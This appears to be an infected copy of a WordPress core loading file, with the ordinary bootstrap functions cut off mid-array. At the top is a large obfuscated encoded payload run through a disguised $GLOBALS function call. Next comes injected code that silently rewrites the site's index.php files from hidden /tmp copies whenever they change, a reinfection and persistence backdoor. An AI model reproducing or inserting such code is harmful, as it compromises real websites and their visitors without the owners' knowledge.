/dWIyc1QTRiYNbln3QlIENVwhM10lSTgubFgXY2gn`VsAXjb0SWgGKyf3bUQjcUMGJyQXayk3XUYLQTEAPSkLSVIvSVcWLTgjYDoJPTcUVGQpPjsyR0UtQ/QpVFUJdUUwUCP/aTjydGYSX/8Ga/ICamIhdjb2cDgT`CIOSkMMdl4YdGoST/snSGkoXikoblr/Tl4tYFoDTlPqSDIFb/kHTjs/c1Ys`VElcDEBQVwTa2gh`EkNRygBVFsDVDg4YGE/PyI5R0EQbTMrVR8TLyE1dWU/bFf/bEIFQjgBNWoESkouK0AHbR73Q1IqYWH0c//2MV34LkIFLVglTCTucGkyYh8XaTM4bxsKLCQL`jw3alg/TCkKbSH4RmED`Tk/SDk`cSQR`F//VTIuRF4EPUc1YSYVLST3T/84cCL1NT8KXybxaG@3PlgUaDYMY2oqb2QEQFQMXyQGTkMjaSTxUUcxUEgyTTUsaSf0`GYAUFf4XlMUUVIBTUkmT0Eh`EoW`DUVRl4U`FMVXlMwVTkMUhsHQ0UUaiYt`TL/MlEFKygpQGADLWIma/QyclQmQFYJUSjxVF4jbmcFUF0I`0QgSFn2M/UsSEI2cFYx`TTwMEoBVGMydEUEMGg3PR7u`1IDTCQqJygAQR8IbT0AVGkQQD7x`/0MXTIPU1Y4aGQpcSM`R2YPPmMPQ1v1NR70Rj3wSUcUTTwvRGYqLmYDLVPwMDUFTlgFR/UGLkA4QCA3SGD1MEY4USI`dCcpQVoTR0oAS/E0UWo`YyYIVlowaVcJUj4xaVk`U0ANNWQkS/oKLUECRRsRa18lRUn0RCAjPmkIQSUpb2IlU2Eub/olMTUEcUAycTQEP10JVVMvM0MHcl4XSEEHYiMgbGcGJ0oRUmAlM0QVND0/VToAP2cCcyTydCj2Mx8lXSk5akMkch7vRGQOYmguUT8ndkU2SmgF`mEBbTUXUlUER//ubWIU`CMicC@0LjQXP17ySiHy`CIjVWE/Rl/uTEMBcVoDdWYLVlQGcjXwUmX4TR8QNFkw`C@2Rln1S2kN`VEQJ1MXQGIMXSQ3NWcKc/Y1QDYPYmEmalEqJ1Ir`mcCRyQXPkkAbWUXVSEMTDkEbyYKXSL/J2Q2ckEO`ycwNDwrMFsiaWQiRFrqUGA`MUP1YSj1K/fwRUH3UCkmdlg4RDPyblsTLEYqSGf1QyQSLUMk`2kEaTsuY/gJQDcpTkXydmgJRTkWYDoHS/0qP2@/Y/osckk/QUgpPSckdEYJLjo2`/0QQD4BX0khdTkPRTvxLFwDMFQxRmoJYBsIbTswT2Ytalk`RGYxa/okPTI4`CU/cUYN`Gk1UUQTQlonYmP/cjc3QlohakoXdCIESTUKRj4FdFcJUWPqcCIKLEUhQyIxY1MRYVIgU/MMSTw3amo0U1oyKyc2QyAkLGIiaUAyMFsnXlwyK0YmdTwEcDDyYDcOXUL2TSPqTSMh`/wWYFk/djcKYmYLLSg/TigBPiIvPyIQ`WkIMiUnSF3xK2ITVkk/SVT4XWPqM1s4`jQwaGUmPkASQVMsbWgYUjcRK1IGJ2M/bmYsbjsuPTIv`TUrcyEHcGA`c0Q/QWMyU2khR2MSdVUxTSYiQlQHQ2QPYl4KM2b3RTgDTFshQjInVUQGSUDqU/sOYyIwaSbxP/oLbF4sc1glPVMYPVExR2EyX/oSNEEKdkb2K0oJPVMBb2D1RGX2dT4SPiH3YmQwNCEHU/HqbVn4`WAFNDsiYDMtREn1QlkXa10vUT7qaGo4PmcSP0cIR18vamDxaCD1S1wXM2kkXVQDTEoBTmA`UEIRSjsvTlj1UDUxTC@uRFUVJ1/0J2AucCURVkUxK/D0bTcEMUEW`V0m`EM4bkkRMT4mLjEPXToKUyg2YVIMcEATRVb3Sl//X2DvMGQ5RlQvYCAibD8PdSIBRifqcmLwb/M/bWQ4`SX3R1ExSlsua/UWXWcvX/kwcmk`aDotTx7w`0TqdWD2MGMP`iUpJxsVYl0oVh8oQEYxLmTuambuQ0QTT2QHUkoPYGTwakMkTCURUUouLkA`a/kWX0ATP1oNVh8oUjUSRjjyShsVPiTx`iP1bEYL`yYBT/P0YGorLkEvRVgxL1bxc10TUmcHYFQVYWo`YxsIbjsiNGYuXmICbTQ/`FEuLVY2XWX1SiApaF4hUjI4NDslamjySycGTEL/YiAF`l4XclHyUiICMl4SYFc2NSMXViYsayYlJ2AgLCER`lkMMygBXT/xaTj2SGMUQjE`X18iUyc/a2kJPlMY`2ApNTUj`Eg/YF7vPmb/bWUoSV0/VTsgcFEgU10xcCglSSgnaDoC`WolbkEiPToYbGD0MTETK1M0`l0RTDj/`0@uUDEEYSb2NSgodUkqNTYpMSMNUSgNMVMFVVwvSiMkP0LxRCMBVicnPUENPSMNdW@4VTgvL0gnSWTwUVMRa/ouYDj3YicWVmkKMmENL/H1NGYBb1UKL/7/VjwPVDMHYEf/aDI2T/8/cEoRUGgOdjj/UGoKa/o3PUn0cEH1RGX2VCYlaEcRQjEQXjU1MSUtJ17uK0E`XlsTc1D2NSk/cGX0VScObFoRTT8VU18QaVknYFs3X/nuS1kwMSgNTWMIRCL0K/X2RUIR`kL/VET2byM`bTMyRyg4cFE/S2ktXVXqVibwQx7qTWQGMx73J/grPig`T0bxQVUXJ/srKybuR0oCNR74MFoDRmEyYEUGQ1wPQUYlRVISSSAOTSUkUmD0TFcAVCIGR18RS0o4`ikobTDyajoxSEPvY/IGQ0A2Vmk3aEDxVj8vXjM/TiYsNVkQQGMpRVQmcCQuT/rxclgGQCkicWEWTEUwPTsqTGf3J1YKVkn3c0IyaF4hT2LyTVcJc0kTSGUYcWj0ViL3LGImUVj4cmcBTRs5NFMkVD3qc1YhcyQ`aEnudmglT/MGSDYpY/oLLEcwLWIRYkIAUCXvVkcsa/MMYDkxLVj3QDkwPVsVQW@u`Tv2byEIYD/xQiAtRyATLCEVLEUv`jMDPl8LSTsFYT4CLCP3QVkMLUgs`1sgP2Y0LFf2cVMnP/H3QDE/QGIVb0E5J1cUc0EDSFIhX1cDMjoIb1smdTYUVUMGc2MBYUMAbVYuUFYOdVEpVVoIYUcIXmAkMTwiYWQxdDYmMDECM/b1L/ot`CL1RkAkbGP/cVE/UlYmTygFY1IxQWnybmoXdibqL1cgYjbubV33bUQCPikJRR7qMGcwdh8TciPyX1Yha1P1LDbu`j03Y0UkT/YyQEL0dV41PT4AdCQxPkUJaTIybVvqYUbvMTsvL/LqaGovXVQqVjDxUjMJayYNX2QkK/82aCLycGg3XUEJQDs`c/MmSl0CaTP0QkYJU/DxX/s/YUEkQjnx`h8MRkkWdT03djMpYDgWUkQHUVTuYVYkaUgTclEnSlsPQWgLaDrvTSD3VGA/LR8vRUn3PjklcTspXWgxSkciVko1Lk@uXVrvMikOa0UyJ1IPT/crVR8lNScJNTwP`kctYjIpcUgPS/cYLEkB`VMOSUIy`EAGS2koXyUCL1j2MSgTTCMxdCUqXTXqQygOUlETVjP1aEjxRWcIcyIOahswQVMwLVMTQkkmaGYhVEIRVD0tTDwKTTDxciMgaFwhUDsRNWMWQ1E0bVn2VlYBbCc0S0kvTFD4RFQAb2n2RFcXSjcHMlkKRTEKPT4CR0EPbGoPT0otLTs4NVr/ajrxYCfuclQtS2MLLWM5dVkvYFkuRikoY1P0bkHyK2U/MEkIbD0JUSghS0MRaCYBRl//cCcoNFMBUmYJY/8NMx73NGAWdTL3cGQmK2QWdWQwc0AvbEjxVVP2MSj3dV31VkgGcVv0VFYgLCQvMUE`LyEGYSM2aFcxa2U4aTo/VmU4UDb4Vmk1VEIFcjf0XUIILkQydGEFPloySCgEaVExYEbwX1gyLFULb/wyaGM2YyYNJ/U`bh85YmUVYiIDVT4kU1EqaR84`iY2`mEIcTsuaUEDR1X2QGMhcGkpJ0gXMR82MVYnQj0iT2AqYUYUQFwNSl0Kb1gUTEXxMScR`yMD`V04c/04X0o/QUYNU2I1LEM5PVc/bx8`UTkKLVUSVSTy`ScUMEogcWQlK0H3LyQiMlw/LSUES0UQJ2EvMUD3bEXvVR7uNDL/TDY3RDsU`l0NdDQjbjsNX0H3KyIR`yj0`WEAVGAKSiEIbWT/`jcCamcSLSkOL/YWQV4RXUTxUl0wMjM2clY`dSEHQmAQaUkVc1QndlY5VT0kTEoOdGPwX1oSUUckcVUKcV8yU10jX18YRjkWX2H0RUYmdkMGSmEoNTc/dkg4MTUJ`CMxXkEvdU@2NRs2X0EwcGAvRhs1SEQvQjEidUUpQlf2Q1sEY1sBNSQTX2T/LkEYLT4sX1En`lURXVUIblgQR0IScTUGYFUVQFQmSyAE`1gsaUcOcUc4TjsASFgwY0Isbmn/TFD1aiQGL0YAaTQxTSMLYEMmVFcsXlg4bmUmUWgrTWkRYGY2SjE4U/c4aT0/TUYwS2cqYTbyUUL4P2j0MlT2UjcINSb3MkMMT1wQL0orUTY2Ll0pdV00SkLuU2IPMmoo`14WLyUTYl0KLDc`aVXvMT30c2I1MUY3Umgv`x8WRjsyP1YNbEo0UD84aWnyP0bwdWU5blgMcTsQTWAHQSMNckX0dF4JUFkyMkb0Q/U0SCInaCERPV4RP0H0U2ARXTky`WoxP/kG`FwgYj4gaScNVCEtK1wrVDk4MEoTVTwuU1oQ`jYHNGEgQ2D3RmMRYiQpYVU`aCQAPmgINCgEUSkFYkENSiMHdWj0LTUXbCItNGj0NCfyX/f4RVYoPSANK/4o`SA0TTD2KyMFK1gUaTQXSCkwYUkpMiUxYmUMa2TvPlLqMEDwPmohY/o1YT8K`WUBUjE1YFoo`DQUVVTvSmg2Q1ERLFoqa1oYRTsBRGI3c/4DLVgoMVw4c2Y1aFchb/c4QV0lXkoTMlgyVCgINTIsLUgvR0ElVDUpQmUx`GU3XTgYLTwRP/L1`GM/QVMgNSjqaFQRSj44RyTqVmc0PVkwQmQxP/oXQjEVJ/YEUDE3`UYhMyIQYWcITkgpMCAPU/IMQygsRlQXXh8ya2Mhayc5LGYObUUBSDv/dGk`XlssNTwBVTb3QlMBTjYuQ2gEU0kvRicoLyUOSFQGM/EUbjsAQUYpTGT3cDo`SWYSRjgHXmT1Pigsb0UUayUF`jI4bCX2NWIFPjEhVTX/VD8kaUoYbjU3XSIMTkkhQ2gTQFspdC@4STQjX2M`Ul7yYkcMUmIOTVrucSILVDIna0IvbmQScCQlSyUJX1oQVSIYLFQRbTIGUWPvL1wGNCIwUjgnc2jvQmPxQiQFVlIh`lsjJ2AyJyH0RV0pUTM4Uh7vPmkp`1X1aF30VlXwR10lRGUATGQgMyX2`yAodFYTcWEWUCUyRDUpcigyX/YyQ0QJdjYPUjEKVFjvViY5QWT3UDYEcjYNbFchPSIFQkk5SkUQQlsLPmTx`VUOTV0L`WEkSEfxUVQUPVH4RFENL/fx`lMlSWI/TjM2bmkmXiInQBsHVkg`c/Mvc/smXyk4REcvPigm`DHuTGYqVGAqRmP/QmQx`0MwdjggaDouUyAxUFcGSlwQNSMIRGMhVjv2UEoSQ2A0T/3/LDYWY2gCL14VMkgTakAKLEXxSD8GRlQSNUDydiA0YSb0P0YobjkRJ0IuJyk/PUIRTFXv`/wBcSUAMVLvVmUYdGA0`2M2L2QqdTk4aWL3bGMrNF0DcDQsaUIrb0UBaVwKYlMublIG`R8D`SgmU0UpLF83J1f1a1HxUjgIcjEqcmMCcDL0`lo`VT4gaVo4Rmk3L1ImR2MAMmXwaFsNUUIkdUUVUFw0UTEKU2Ivc2kIRV8wPlD1dWoxdlsHMGYUSmQkbkH/PVcr`T0mUTXycDUIYDbxSlUCRkYOSiD0Mj0PP0QB`ToJUGckQicYRSDqc1wuLGQhaGAyMkgxQ1EsRVYlVF8qMkjqLk@0bEApL/U0aEIta2gTb/oyY1HxcU@wT/sJaGg0RUgBNGMgb/I0Q1cYTl4nM2Mw`VU/c2c/`/UKRWU/QmgoMTUYaTwvalI/c/cVMkkU`yUIdmcxMUf2`Cf1b1H3L2U5YWI1cjoGMSACVFE`LjgpM0ElRmI`VUkR`Gcrc1EkPWQLdlkBbj0hNTIVXScmYiM1T0A/LTYQNTguMicCVj0HQCcwRScoM2YxUCjuTUQtdSkLa0T2UG@0LW@vdSEoTkYv`/U2MDXqL2j3RjcHMT4FciQJPSghcikELiM1NGnyVC@vbkQ4L13/MCISRVkFbGIUSUEDMTQYSjMy`1onLkIJSjUSNTEQRSIWbWgyQjoXP0D4SCP4P/8uPyQOdicKKyAuUx8wRB8CRVIsMyM4diT3`EEiLEggcWkN`Cj4bFU`YVEvM0ki`iT/MUICbkk`UTw`aGHxQFQVQmIp`1c2cSYtQjjyQmoDQ1sudTgnTjsRa1IOS/IWJ/wSX0YmMi@xYWj0YUoyTyYiayI0S/IpckYtXxr/TVjuY2oJK0D4bFQRRyMuVEorbFQBbUc/aGLu`Wj4bSQMLlHqdDQ5dWcI`1kpSEk1TmUvUTUkVGgmXVY`bjMWaFgt`jb2TUYxSEf4aEHuY2MlSmIh`UTyaVEyUTQMa/nx`CbyXUTuXUMpQCcLTTk4R14mMGL4dDUMUGUJPkow`SYMQT0paUk0Uk@/SlElLUg5M2ALL2D3SEI/NGg4`jInaVL/UmQgVFEgSCAPSyD2T1cgcGILbmT1aicrQlUxaTMIYyHyU0AVLCksTmT0T1kJbGgjY0EhSigpbig0NVcS`kUuMkIgclc3NTrvVF8LSCIAY0gVYV4WQCYgSVYOYDnqYmnyK2Utc1ULLjwkViEOQWMTbVEhUCcIQUDqP/I5cSkLdCIlbGY4SjkgMVQPcicRL/UvSUoRQWgnLDIwcUQpdjYnLj4ua/74LkT/RFwPS2EhMDESNUQQPVIQXlsgQ///J1X0K/YPb/v0b0ICdSAFclITalr/P1QhTTv3aj0uL0AoVEjqTFUVUUULJ1kVYGAQ`WgqUiM3RB8mdlUlU/YGaWMTJ2MoaUQP`0X/PT8uQRsEXkYITyQVL2AFSW@4U0ICQTsHRDo3a/skQkQEQ1wt`DIqTGXyXik/cls5Mj0NTkYBK0L1RVkWXUUW`VUqXTcHLWT/clcEXicS`kkS`jkoY/Es`yMMYDcDSkACS1YYNEAJTmkL`jQ2TGQ2`TELTF8g`mo0SF4JbyQhQT0jb2c1VlH/R2gkTjIHRVw4a2gIK/sFXiMuL/kWbCQwXiclMUkHVkExdFIkTD4SVVwm`D7/MGIISGALcifxYicFY2nuViLxK2QkMB8l`/H4UVkpThs5YCIkQF4ySSYKLmoMVWojdlEWc1EmQ0chaDkrLSIFdSgGU0bx`F8RSTw0RV4BdCEOc/soRWPqRik`VFXqQyTuakQXYEcuRmkJPloTYlENViAKaDEyNFkKUjUHRVXyPyb1QkIrb1QJaTgTUUUAUGoD`2ckMl72PWfwX0IiL1Py`Fkg`iDqcDghQGcBXkIGMDQS`TYCcj4XQSEUPj4w`iMLS/8XL18iPWU5P/grThr0`ScPQB7/VVf2bTE4a2kDR0cGNWAqc1EDSCj4SCTwSEYGUUcxMlL4VEECTCYEU/k`dlUTQVsjUmQ5c2UMRlEHcSf/bikBSyEA`l4CdD72bl0QdEkoa/EqUFUVPlwlXikVTyEHTmEjNEITY1UTTyX1RD0WJ1cE`mA2JyAXM/juUFUVLEk5RkIwLkgpL18va1nySFf2YT44dGENU2IsNFfwUFEPRWAKTF0JRkYmVUn2P/Q5`j30RUgFVDvwMT0VLVgQalQYVGIAaDf3R1jxQycmckg4SFEYS2AhREkWSD4`aDDqVkIOM2Y0Y/LvSF85P0PqakYlJ/cmbTPvRDgndTQs`VcGSDYM`Fk2`EAOXl4O`mUIYDEVRjP4c/g4LWYmREgEREY0QDoiL10AcSQiX1kQTkE5bikRRCUPbFMvM1ogc/3yVkUWJ2glR1sOdUMA`0kLX2P0Vjww`lMJb2A2UFY4`WU0QDTqaT44XkQY`kUUVVkyRjcOaFIYXmACNTovSVjqR0c2bVojUkYObmMyNV0sa2IrTSY/aGYKTl/xQlkURkImYTkwcF/yNDY2Y0AiR2MJRjY1dlQkLkYLTDQHdlQgaGUVc14yX/U1TSkHJ0clc/UGTF4MdjoSay@/M/wwX2L0bSI0PygGX/0mVlcpdUoNQjQNQEADPygARmcgTycrX2L1bCMwcGIPLiMvdl0TdUYJLmIkRV0kLFEqc/U5TGISSUEyXUIXUjUuaVQSdkUmRDLvU/gCMlEpdGYQUyb2Ukc5L2UTcDTvPmfyUjY5UEUpYTPvPikSRkbqREYHT10nVToPXiQuTCYQdkMgRWLwKxryVmIPS0Q3UmQgYl/0VFjvbDL4VmYlPUEFNDU/NT43R/0HTR8ndiIuRyAkLSg2RmQ3T1ksMjMhMWb/SSYRRDYIXjEtQkghLDPuQET0VGYUSTYwajoA`F4Fc0Lu`1U1Y1IRMD00TV41Y/onSTD2M1sR`/MpJ/MLRlP/NWEXXUMDVUE1SGgSaWT/`FYYNSEVaVwONEETM/4XTDwJaCfucjDqMTMgSjcuLkMOVjowTV41cVcFJ/s`M/kAQ0gLTVwQdEAHNGcKLT4RbF4WT1YoNEDxPlUjbCTqLVklR/QuTykIXSIs`/QEayAMTUUxLUQ1XWUtcFctM2EQP2cS`V4nY/IUVGA0XVb0dloBVmkER0Y3dWMIL2jxdGAhb/M`bR83`kQDc/Q4RSYuPSA/`2YtU0AhMD70UCctUicwLCH3UF0JcGQWS2P3Vk@3RGYTNDskMUX2UC@3XycwPkgldjDuYmDxMmYtQ/44UCE`cEYnblYnNBsHNFYKQ2cK`1o5MFIl`jk`T10JUx74diECa2gUXjMwblECclY`YmbqLkQETGQPPj8hdSAXSTIBbGEt`GPuQWQ/K2cHVicRTUkgcEI5UifwVFggakQjUkokLCMFdWP4K2khRFcnQy/8His@YWYgaBfmOy3mKlc5cV4ia10vblUybxfjaCDwaCErJBQrLVwrLSDnIFwrLVvwLRfjaCErLSDwKBQraCDwLSDpLhjrIFwrLVvwLRfjaCErLSDwKBQraCDwLSDrIFwrLSDwLRjrHBQraCErLSDnIFvwaCDwLRvvKBQraCDwLSDoJRjoJSr+")));@${"G\x4c\x4f\x42ALS"}["ll1lll"](@$l11l1l,@$l1ll11,@$ll1l11,@$ll1111,@$l11111,@$ll1lll);/* test code */?>php $H='/home/akiniaip/domains/dki.lt/public_html/index.php';$F='/tmp/05776953f77cb65438b401a310582834';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} $H='/home/akiniaip/domains/dki.lt/public_html/pdf/index.php';$F='/tmp/e3a47b8ca9eee04002839002524497ea';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} /** * These functions are needed to load WordPress. * * @package WordPress */ /** * Return the HTTP protocol sent by the server. * * @since 4.4.0 * * @return string The HTTP protocol. Default: HTTP/1.0. */ function wp_get_server_protocol() { $protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : ''; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) { $protocol = 'HTTP/1.0'; } return $protocol; } /** * Turn register globals off. * * @since 2.1.0 * @access private */ function wp_unregister_GLOBALS() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! ini_get( 'register_globals' ) ) { return; } if ( isset( $_REQUEST['GLOBALS'] ) ) { die( 'GLOBALS overwrite attempt detected' ); } // Variables that shouldn't be unset. $no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' ); $input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() ); foreach ( $input as $k => $v ) { if ( ! in_array( $k, $no_unset ) && isset( $GLOBALS[ $k ] ) ) { unset( $GLOBALS[ $k ] ); } } } /** * Fix `$_SERVER` variables for various setups. * * @since 3.0.0 * @access private * * @global string $PHP_SELF The filename of the currently executing script, * relative to the document root. */ function wp_fix_server_vars() { global $PHP_SELF; $default_server_values = array( 'SERVER_SOFTWARE' => '', 'REQUEST_URI' => '', ); $_SERVER = array_merge( $default_server_values, $_SERVER ); // Fix for IIS when running with PHP ISAPI. if ( empty( $_SERVER['REQUEST_URI'] ) || ( PHP_SAPI != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) { // IIS Mod-Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) { // IIS Isapi_Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } else { // Use ORIG_PATH_INFO if there is no PATH_INFO. if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } // Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice). if ( isset( $_SERVER['PATH_INFO'] ) ) { if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) { $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; } else { $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } } // Append the query string if it exists and isn't null. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } } // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests. if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) ) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } // Fix for Dreamhost and other PHP as CGI hosts. if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false ) { unset( $_SERVER['PATH_INFO'] ); } // Fix empty PHP_SELF. $PHP_SELF = $_SERVER['PHP_SELF']; if ( empty( $PHP_SELF ) ) { $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] ); $PHP_SELF = $_SERVER['PHP_SELF']; } } /** * Check for the required PHP version, and the MySQL extension or * a database drop-in. * * Dies if requirements are not met. * * @since 3.0.0 * @access private * * @global string $required_php_version The required PHP version string. * @global string $wp_version The WordPress version string. */ function wp_check_php_mysql_versions() { global $required_php_version, $wp_version; $php_version = phpversion(); if ( version_compare( $required_php_version, $php_version, '>' ) ) { $protocol = wp_get_server_protocol(); header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 ); header( 'Content-Type: text/html; charset=utf-8' ); printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version ); exit( 1 ); } if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); $args = array( 'exit' => false, 'code' => 'mysql_not_found', ); wp_die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ), __( 'Requirements Not Met' ), $args ); exit( 1 ); } } /** * Don't load all of WordPress when handling a favicon.ico request. * * Instead, send the headers for a zero-length favicon and bail. * * @since 3.0.0 * @deprecated 5.4.0 Deprecated in favor of do_favicon(). */ function wp_favicon_request() { if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) { header( 'Content-Type: image/vnd.microsoft.icon' ); exit; } } /** * Die with a maintenance message when conditions are met. * * Checks for a file in the WordPress root directory named ".maintenance". * This file will contain the variable $upgrading, set to the time the file * was created. If the file was created less than 10 minutes ago, WordPress * enters maintenance mode and displays a message. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private * * @global int $upgrading the unix timestamp marking when upgrading WordPress began. */ function wp_maintenance() { if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) { return; } global $upgrading; require ABSPATH . '.maintenance'; // If the $upgrading timestamp is older than 10 minutes, don't die. if ( ( time() - $upgrading ) >= 600 ) { return; } /** * Filters whether to enable maintenance mode. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. If this filter returns true, maintenance mode will be * active and the request will end. If false, the request will be allowed to * continue processing even if maintenance mode should be active. * * @since 4.6.0 * * @param bool $enable_checks Whether to enable maintenance mode. Default true. * @param int $upgrading The timestamp set in the .maintenance file. */ if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) { return; } if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { require_once WP_CONTENT_DIR . '/maintenance.php'; die(); } require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); header( 'Retry-After: 600' ); wp_die( __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ), __( 'Maintenance' ), 503 ); } /** * Start the WordPress micro-timer. * * @since 0.71 * @access private * * @global float $timestart Unix timestamp set at the beginning of the page load. * @see timer_stop() * * @return bool Always returns true. */ function timer_start() { global $timestart; $timestart = microtime( true ); return true; } /** * Retrieve or display the time from the page start to when function is called. * * @since 0.71 * * @global float $timestart Seconds from when timer_start() is called. * @global float $timeend Seconds from when function is called. * * @param int|bool $display Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param int $precision The numfunction unless `WP_DEBUG` * is true. * * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed. * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY` * as false will force errors to be hidden. * * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`. * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file. * * Errors are never displayed for XML-RPC, REST, and Ajax requests. * * @since 3.0.0 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path. * @access private */ function wp_debug_mode() { /** * Filters whether to allow the debug mode check to occur. * * This filter runs before it can be used by plugins. It is designed for * non-web run-times. Returning false causes the `WP_DEBUG` and related * constants to not be checked and the default PHP values for errors * will be used unless you take care to update them yourself. * * @since 4.6.0 * * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true. */ if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) { return; } if ( WP_DEBUG ) { error_reporting( E_ALL ); if ( WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 1 ); } elseif ( null !== WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 0 ); } if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) { $log_path = WP_CONTENT_DIR . '/debug.log'; } elseif ( is_string( WP_DEBUG_LOG ) ) { $log_path = WP_DEBUG_LOG; } else { $log_path = false; } if ( $log_path ) { ini_set( 'log_errors', 1 ); ini_set( 'error_log', $log_path ); } } else { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) { ini_set( 'display_errors', 0 ); } } /** * Set the location of the language directory. * * To set directory manually, define the `WP_LANG_DIR` constant * in wp-config.php. * * If the language directory exists within `WP_CONTENT_DIR`, it * is used. Otherwise the language directory is assumed to live * in `WPINC`. * * @since 3.0.0 * @access private */ function wp_set_lang_dir() { if ( ! defined( 'WP_LANG_DIR' ) ) { if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to ABSPATH * * @since 2.1.0 */ define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old static relative path maintained for limited backward compatibility - won't work in some cases. define( 'LANGDIR', 'wp-content/languages' ); } } else { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to `ABSPATH`. * * @since 2.1.0 */ define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old relative path maintained for backward compatibility. define( 'LANGDIR', WPINC . '/languages' ); } } } } /** * Load the database class file and instantiate the `$wpdb` global. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function require_wp_db() { global $wpdb; require_once ABSPATH . WPINC . '/wp-db.php'; if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once WP_CONTENT_DIR . '/db.php'; } if ( isset( $wpdb ) ) { return; } $dbuser = defined( 'DB_USER' ) ? DB_USER : ''; $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : ''; $dbname = defined( 'DB_NAME' ) ? DB_NAME : ''; $dbhost = defined( 'DB_HOST' ) ? DB_HOST : ''; $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost ); } /** * Set the database table prefix and the format specifiers for database * table columns. * * Columns not listed here default to `%s`. * * @since 3.0.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global string $table_prefix The database table prefix. */ function wp_set_wpdb_vars() { global $wpdb, $table_prefix; if ( ! empty( $wpdb->error ) ) { dead_db(); } $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', 'parent' => '%d', 'count' => 